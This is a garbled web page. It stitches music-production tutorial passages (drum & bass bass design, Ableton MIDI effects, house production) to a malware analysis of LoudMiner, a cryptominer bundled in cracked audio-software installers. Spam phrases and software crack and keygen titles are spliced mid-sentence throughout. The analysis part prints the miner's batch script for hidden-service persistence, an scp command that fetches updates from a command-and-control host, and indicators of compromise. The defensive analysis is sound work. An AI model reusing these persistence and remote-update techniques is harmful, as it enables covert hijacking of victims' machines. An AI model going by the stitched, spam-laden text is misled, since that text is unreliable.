(shown and from the FM7 bank) or a freeware synth for Windows
called OXE FM (from Any bass sound with a
plucked attack and middling decay will do. Over the first part of the
track the only notes the bass plays are E flat and B flat, which follow
the chord progression over two changes.







MAGAZINE December 2013


MT Technique Producing authentic drum & bass

MT Step-by-Step Bass design and re-sampling

Whether you plan to keep an instrument live throughout the

production process or intend to re-sample it (which tends to be
the case in D&B), both approaches start with a sound source of
discernible pitch or more noise-like and pitchless character.The latter
can be achieved with drastic pitch variations or heavy use of FM,
ring-modulation or any other heavily discordant processing.

Theres no set rules for the type of waveforms you can select here,
but youll generally find that a bigger sound is achieved by using
square waves within your mix of synth layers. Saw waves offer a lot of
edge that cuts across a mix; highly pitched sine or triangle waves are
useful for achieving softer tones. Make sure that you also explore the
best octave for each layer as you stack synths or oscillators.

The next step is to add movement to your sound.The best

starting point is to play with any controls as you listen for
something interesting. Use the more coarse-sounding changes to
develop a unique character. At this stage, try to assign an envelope or
LFO to these parameters so they can be triggered as you play.

If you plan on re-sampling your sound, this is the point at which

you can pile on processing effects without worrying about getting
in a tangle with automation later on. Explore parameter changes with
effects as you did in the last step and record them as automation.
Common effect choices are phaser, notch-filtering and stereo width/
widening tools. But here, anything goes.

Re-sampling is the most practical way to deal with these large

effects chains and automation recordings. Before sampling,
explore the best note to record as some will have a certain sonic
sweetness over others. After recording Ableton Live Archives - Malik Softs into your DAW, Ableton Live Archives - Malik Softs, drag the
audio into a sampler and explore the possibilities with this (and any
other re-sampled bass sounds youve created).

A designated sub-layer is essential for the low-end weight

needed in D&B.These are often stacked sine waves with
octave- or harmonic-based intervals. Alternatively, triangle waves can
be quite useful when low-pass-filtered for a thicker sound. Keep the
sub as a separate instrument rather than a layer with other sounds so
it can either play in unison or be varied from the other parts.




72 November 2013


main different is that youre collaborating with your

computer, but like working with other people, you still get to
approve, dismiss or amend any Ableton Live Archives - Malik Softs put on the table.
There are many times Ive completely re-worked an idea
to see where it could go and Ive rarely found the efforts to
be worthless. These changes might transform a lifeless idea
into something much more upbeat, or create various other
instances of an idea I can use for variations or fills at the
end of a phrase. So try not to be too precious when going
through the techniques covered in this workshop. You
should instead see this as a challenge: how far can you take
an idea to create a completely new one? The process can be
quite inspirational and potentially give you a new key part to
your latest work. MT

Composition & Experimentation in Live Technique MT

MT Step-by-Step Experimental MIDI

Well start with some of the most musical forms of manipulation,

for when you dont want to move too far away from a musical
structure you may have already created. Under the MIDI effects tab
you will find many tools to play with. Were starting with the
Arpeggiator which is useful for quickly transforming simple ideas into
something more animated.

Weve gone from an incredibly simple melody with a single note

per beat to a flourish of notes using two arpeggiators. This
arpeggiator began its life from the C Major Walk 16th Grooved preset
which we then modified through changing the rate for faster runs and
transpose was changed from major to minor to suit the existing
melody more.

We then placed a second arpeggiator device and tweaked this to

produce more movement to the melody. For further changes to
this set-up you can feed the arpeggiator more notes using a chord
device. You then just move the Pitch dials for each note you add and
tweak until you like the results.

Another way to explore new possibilities is to use a Random

device which, as youd expect, creates random events from your
existing MIDI material. Tweak its settings so the Chance amount is high
for less repetition, then experiment with other parameters.

To record the results of any experimentation with MIDI effects,

add a new MIDI Track, select the output of the track you want to
record from the top MIDI From menu, then select Post FX so all your
processing is captured. New MIDI clips will be created when you record
with all the new content as notes, meaning you can manually edit
these parts to perfection.

Dont think that this type of experimentation is only reserved for

melodic work. Try dragging these effects to your drum ideas.
Because drum kit layouts rarely use all of the MIDI notes available,
youll need to bare this in mind when you tweak parameters otherwise
the majority of the notes being created could be triggering nothing.







MAGAZINE November 2013 September 2013





How to produce authentic house Technique MT

Powered by

Technique Genre focus

How to produce
authentic house

Welcome to a new series that focusses on different genres of music production across every
DAW. We kick off with house, the simplest of dance genres. Or is it? asks Rob Boffard

ouse music is a perfect candidate to start with

if youre just beginning to get to grips with the
key concepts of music-making. While any piece
of music can be complicated, its house, more
than perhaps any other genre, that can sound
superb despite comprising only a few very simple elements.
As long as you have a great lead, a fat bass line and a good
collection of rhythmic percussion and as long as youre
willing to spend a little time getting your mix right youll
have a winner.
Much of producing house is actually about sound design
specifically, sound design using synths. An understanding
of the fundamental concepts of synthesis how oscillators

On the disc
project file included
on the DVD

An understanding of the
fundamental concepts of
synthesis is absolutely crucial
make sound, how you can modulate them, what filters do
and so on is absolutely crucial. Youll also need to have a
good understanding of how MIDI data works and how its
different from audio (put simply, a MIDI note is just a signal
to the instrument its attached to in order to play a
sound; unlike audio, it doesnt
actually contain any Ableton Live Archives - Malik Softs itself).
Were going to produce a house
track in Operation Flashpoint: Resistance crack serial keygen steps, using various
techniques to create our lead, bass

line and percussion, as well as covering a Ableton Live Archives - Malik Softs of mixing

principles such as sidechaining. Were using Ableton Live Archives - Malik Softs Live to
do this, but the principles we discuss can easily be
transferred to other DAWs. Live is ideal for this job mainly
because of its Session View, which enables you to create
Clips, each containing a loop or a selection of audio. You can
fire off the loops at any time, and when you bring in others,
Ableton keeps things perfectly in time. Session View is a
giant sketchpad for your track, letting you add in and
remove things on-the-fly and craft the perfect beat. Once
youve mastered it, its just as good for live performances as
it is in the studio.
But if you want to produce house music, the most
important thing you can learn is something not covered in
this guide: listening. You need to hear as Ableton Live Archives - Malik Softs house as you
possibly can pour as much of it into your ears as you can
handle. Try to isolate the individual sounds and, if possible,
reverse-engineer them. Not only will this help you get a
deeper understanding of your synths, but also a deeper
understanding of the music itself. MT
This tutorial has been endorsed by The Academy of Contemporary Music.
ACM delivers programmes for serious students looking to become music
industry professionals. Its faculty includes lecturers who have performed
and recorded alongside some of the biggest names in music and worked
in every area of the industry. See more at:

A couple of months ago, Swedish DJ duo
Daleri did something interesting. They took
the top 100 tracks on dance music site
Beatport, isolated the drop from each one,
then blended the drops into a Miracle Thunder 3.04 crack Archives. It was scary just how similar most of
them were, Ableton Live Archives - Malik Softs, using the same leads,
percussion and techniques. Bottom line? Its
very easy to get caught up in mimicking
what everyone else is doing and create a
track that doesnt sound all that creative or
unique. Once youve nailed the basics of
Operator (or whatever synth you use), spend
a good deal of time delving into its inner
workings come up with something no one
has heard before and youll have a winner.

MAGAZINE September 2013

hdiutil attach-noverify/Users/Shared/instapack/do.dmg-stdinpass.

The miner DMG contains a single package: datainstallero.pkg. This and the software package are then installed.

The package contents of datainstallero.pkg and data_installer.pkg from version 2 are more or less the same, but datainstallero.pkg adds two obfuscated scripts – and – and obfuscates an existing script – randwd:

  • removes version 1 of the miner like version Ableton Live Archives - Malik Softs does.
  • installs the miner the same way version 2 does, except the comments have been stripped from the script.

The SHA1 of the do.dmg remains the same as well: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.

Launching the Linux image

All versions use multiple shell scripts to launch the images. The shell scripts are executed by plists on boot and are kept alive.

  • Version 1 executes the following binaries (copies of qemu-system-x86_64) to launch the QEMU images: qemu-system-x86_64, system-monitor, tools-service.
  • Versions 2 and 3 Ableton Live Archives - Malik Softs the same command, but the filename of the binary, directory in Application Support and the QEMU filename is randomized.

All versions use the following switches:

  • -M accel=hvf to use the Hypervisor framework as an accelerator. HVF was introduced with OS X 10.10 and support for HVF was added in QEMU 2.12, which was released in April 2018.
  • -display none so the virtual machine runs without a graphical interface.

Since the image is launched without specifying the amount of RAM and # of CPU cores, the default values are used: 1 CPU core and 128MB of RAM. All versions can launch 2 images.

Windows (version 4)

From the strings we extracted from the application, we define the only Windows version seen so far as version 4, Ableton Live Archives - Malik Softs. As we mentioned earlier, the logic is quite similar to the macOS version. Each Windows application is packaged as an MSI installer that installs both the “cracked” application, Ableton Live Archives - Malik Softs, and Figure 8 shows the trust popup for installing the VirtualBox driver when running a “cracked” VST installer from vstcrack[.]com.

Figure 8. Trust popup for a VirtualBox driver when running the installation of an application from vstcrack[.]com

VirtualBox is installed in its usual folder name (C:\Program Files\Oracle); however, the attributes of the directory are set to “hidden”. Then the installer copies the Linux image and VBoxVmService (a Windows service used to run a VirtualBox virtual machine as a service) into C:\vms, which is also a hidden directory. Once the installation is complete, the installer runs a batch script compiled with BAT2EXE (see the unpacked listing in Script 4) to import the Linux image and run VmServiceControl.exe to start the virtual machine as a service.

@echo off

setlocal EnableExtensions EnableDelayedExpansion

"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe"setproperty machinefolder"%userprofile%\appdata\roaming"

"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe"import"c:\vms\tmp\sys00_1.ova"


"C:\vms\VmServiceControl.exe" -i

del /F "c:\vms\tmp\sys00_1.ova"

Script 4. Batch script used to run the Linux virtual machine as a service

This method is used to ensure the persistence of the miner after reboot. Indeed, VboxVmService comes with a configuration file (see Script 5) in which it is possible to enable the AutoStart option so the virtual machine is automatically launched at startup.









Script 5, Ableton Live Archives - Malik Softs. Configuration file for VBoxVmService with AutoStart enabled

The OVF file included in the Linux image describes the hardware configuration of the virtual machine (see Script 6): it uses 1GB of RAM and 2 CPU cores (with a maximum usage of 90%).


<CPU count="2"executionCap="90">

<PAE enabled="true"/>

<LongMode enabled="true"/>

<X2APIC enabled="true"/>

<HardwareVirtExLargePages enabled="true"/>


<Memory RAMSize="1024"/>

Script 6. Hardware configuration of the Linux image

Linux image

The Linux image is Tiny Core Linux 9.0 configured to run XMRig, as well as some files and scripts to keep the miner updated continuously. The most interesting files are:

  • /root/.ssh/{id_rsa,} – the SSH pair key used to update the miner from the C&C server using SCP.
  • /opt/{,} – the system startup commands that try to update the miner from the C&C server and run it (see Scripts 7 and 8):

/usr/bin/sethostname box



Script 7.






Script 8.

  • /mnt/sda1/tools/bin – main files and scripts used to update and run the miner.
  • /mnt/sda1/tools/xmrig – contains the source code of XMRig (from the GitHub repository).

The configuration of the miner is stored in /mnt/sda1/tools/bin/config.json and contains mostly the domain name and the port used for the mining pool, which can differ depending on the version (see examples in the IoCs section).

The update mechanism is performed via SCP (Secure File Copy) by three different scripts:

  • xmrig_update – updates the configuration of the miner (config.json);
  • ccommand – updates ccommand_update, xmrig_update (see Script 9),, xmrig;
  • ccommand_update – updates ccommand;

From what we have seen, the miner configuration is updated once every day.



cd/mnt/sda1/tools/bin/&&scp-P5100-C-oStrictHostKeyChecking=no-oUserKnownHostsFile=/dev/[email protected]:ctrl/cowboinvox`date+%Y%m%d` config.json config.json.bkp&&mv config.json

Script 9. xmrig_update

In order to identify a particular mining session, a file containing the IP address of the machine and the day’s date is created by the idgenerator script and its output is sent to the C&C server by the script.

Obviously, the best advice to be protected against this kind of threat is to not download pirated copies of commercial software. There are, however, some hints that can help you to identify when an application Jitbit Macro Recorder 5.8.2 license keygen Archives unwanted code:

  • A trust popup from an unexpected, “additional” installer (in this case the Oracle network adapter).
  • High CPU consumption by a process you did not install (QEMU or VirtualBox in this case).
  • A new service added to the startup services list (Windows) or a new Launch Daemon (macOS).
  • Network connections to curious domain names (such as system-update[.]info or system-check[.]services here).


macOS “cracked” applications (versions 1-3)

SHA-1FilenameESET detection nameVersion number
32c80edcec4f7bb3b494e8949c6f2014b7f5db65Native Instruments Massive Installer.pkgOSX/LoudMiner.A1

Windows “cracked” applications (version 4)

SHA-1FilenameESET detection name

Linux images

SHA-1FilenameVersion number
39a7e86368f0e68a86cce975fd9d8c254a86ed93z1.qcow2 (renamed with a randomized name)2
59026ffa1aa7b60e5058a0795906d107170b9e0fz1.qcow2 (renamed with a randomized name)3



  • /Library/Application Support/.Qemusys
  • /Library/Application Support/.System-Monitor
  • /usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
  • /Library/LaunchDaemons/{com.buildtools.system-monitor.plist,, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}



vstcrack[.]com (137[.]74.151.144)

Download hosts (via HTTP on port 80)

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  • 185[.]112.158.112
  • 185[.]112.158.133
  • 185[.]112.158.186
  • 185[.]112.158.190
  • 185[.]112.158.20
  • 185[.]112.158.3
  • 185[.]112.158.96
  • d-d[.]host (185[.]112.158.44)
  • d-d[.]live (185[.]112.156.227)
  • d-d[.]space (185[.]112.157.79)
  • m-m[.]icu (185[.]112.157.118)

Update hosts (via SCP)

  • aly001[.] (192[.]210.200.87, port 22)
  • system-update[.]is (145[.]249.104.109, port 5100)

Mining hosts

  • system-update[.]info (185[.]193.126.114, Ableton Live Archives - Malik Softs 443 or 8080)
  • system-check[.]services (82[.]221.139.161, port 8080)
ExecutionT1035Service ExecutionOn Windows, the Linux image is run as a service with VboxVmService.
PersistenceT1050New ServiceInstall the Linux virtual machine as a Ableton Live Archives - Malik Softs with VboxVmService.
T1062HypervisorInstall a type-2 hypervisor on the host (VirtualBox or QEMU) to run the miner.
T1160Launch DaemonThe macOS versions use a Launch Daemon to ensure the persistence.
Defense EvasionT1027Obfuscated Files or InformationSome shell scripts are obfuscated, and some installers are encrypted in macOS versions.
T1045Software PackingUse BAT2EXE to pack batch script in Windows versions.
T1158Hidden Files and DirectoriesThe VirtualBox installation folder and the directory containing the Linux image are hidden.
Command and ControlT1043Commonly Used PortUse TCP ports 443 and 8080 for mining pool communication.
T1105Remote File CopyUse SCP (port 22 or 5100) to copy files from/to the C&C server.
ImpactT1496Resource HijackingUse victim machines to mine cryptocurrency (Monero).
Источник: []